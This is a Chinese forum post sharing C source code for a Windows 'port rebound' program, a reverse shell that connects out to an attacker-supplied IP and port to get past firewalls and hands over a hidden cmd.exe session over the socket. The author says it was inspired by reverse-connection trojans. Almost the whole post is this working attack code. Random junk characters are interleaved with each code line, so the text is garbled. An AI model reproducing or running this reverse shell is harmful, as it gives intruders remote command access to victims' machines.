社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6377阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [ITtg?]F  
  OH*  
/* ============================== &F!Ct(c99  
Rebound port in Windows NT Y[8GoqE|  
By wind,2006/7 j~ 'a %P  
===============================*/ ;:%*h2  
#include t}!Y}D  
#include -k+}w_<Q  
_UqE -+&  
#pragma comment(lib,"wsock32.lib") #7Pnw.s3zz  
cGE,3dsF[  
void OutputShell(); uE}A-\G  
SOCKET sClient; |_Tp:][mf  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -%g$~MZ?'  
@C?.)#  
void main(int argc,char **argv) gZ^'hW-{  
{ FthrI  
WSADATA stWsaData; t@Bl3Nt{  
int nRet; 4fq:W`9sN  
SOCKADDR_IN stSaiClient,stSaiServer; CBVL/pxy  
5xsGSoa+  
if(argc != 3) Y]33:c_;Mo  
{ X>$s>})Y  
printf("Useage:\n\rRebound DestIP DestPort\n"); lO>9Q]S<  
return; b":3J)Y6.  
} w|AHE  
]m(C}}  
WSAStartup(MAKEWORD(2,2),&stWsaData); )qL UHE=  
\D<w:\P  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TGxmc37?  
M(8Mj[>>Rj  
stSaiClient.sin_family = AF_INET; Wt,t5  
stSaiClient.sin_port = htons(0); &>T7]])  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gjGKdTr'  
X;vfbF   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +pefk+  
{ ^s;xLGl]  
printf("Bind Socket Failed!\n"); @N%/v*  
return; &-h z&/A,  
} B'kV.3t  
\@K KX  
stSaiServer.sin_family = AF_INET; R'Uw17I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \d&/,?,Ey  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wyVQV8+&>  
:1 Y*&s  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p[J 8 r{'  
{ 4uV,$/  
printf("Connect Error!"); E;>Bc Pt5  
return; dTwZ-%  
} ~*-%tFSv  
OutputShell(); A{QXzoWkg0  
} M;$LB@h  
"+@>!U  
void OutputShell() ?L'4*S]  
{ W bP wO  
char szBuff[1024]; @#?w>38y  
SECURITY_ATTRIBUTES stSecurityAttributes; waYH_)Zx  
OSVERSIONINFO stOsversionInfo; c@ea ;Cv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AvxP0@.`  
STARTUPINFO stStartupInfo; ?;c&5'7ct  
char *szShell; VY#:IE:T  
PROCESS_INFORMATION stProcessInformation; (oiF05n h  
unsigned long lBytesRead; pVGH)6P>|  
]\8{z"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y=H\Z/=  
D{J+}*y  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -j<g}IG  
stSecurityAttributes.lpSecurityDescriptor = 0; -y+u0,=p.  
stSecurityAttributes.bInheritHandle = TRUE; |fd}B5!c  
)HFl 0[vT  
/ >As9|%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 49;2tl;F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !6 k{]v  
#SR"Q`P  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tK$x=9M  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vA(')"DDT  
stStartupInfo.wShowWindow = SW_HIDE;  Du*O|  
stStartupInfo.hStdInput = hReadPipe; ?d? cD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R\+O.vX  
POouO/r$  
GetVersionEx(&stOsversionInfo); u{/!BCKE  
[p%OIqC`pB  
switch(stOsversionInfo.dwPlatformId) cHG>iW9C  
{ >~% _U+6  
case 1: qZ8 V/  
szShell = "command.com"; @rh1W$  
break; YnCWmlC  
default: \qU.?V[2  
szShell = "cmd.exe"; ic+tn9f\  
break; IIW6;jS  
} 3}}#'5D  
wW1E 'Vy{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Hsoe?kUHF  
05+uBwH  
send(sClient,szMsg,77,0); 4/rd r80  
while(1) e?&4;  
{ F>F&+63Q-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); D-zqu~f`  
if(lBytesRead) j})6O!L.  
{ cE*Gd^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gda3{g7<)  
send(sClient,szBuff,lBytesRead,0); 3j2% '$>E^  
} p:,(r{*?  
else mST/u>'  
{ -9 AI@^q  
lBytesRead=recv(sClient,szBuff,1024,0); ={a8=E!;  
if(lBytesRead<=0) break; D\:~G}M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =a_B'^`L  
} *(~=L%s  
} 4YVxRZ1[3  
olC@nQ1c*  
return; ]0HlPP:2  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五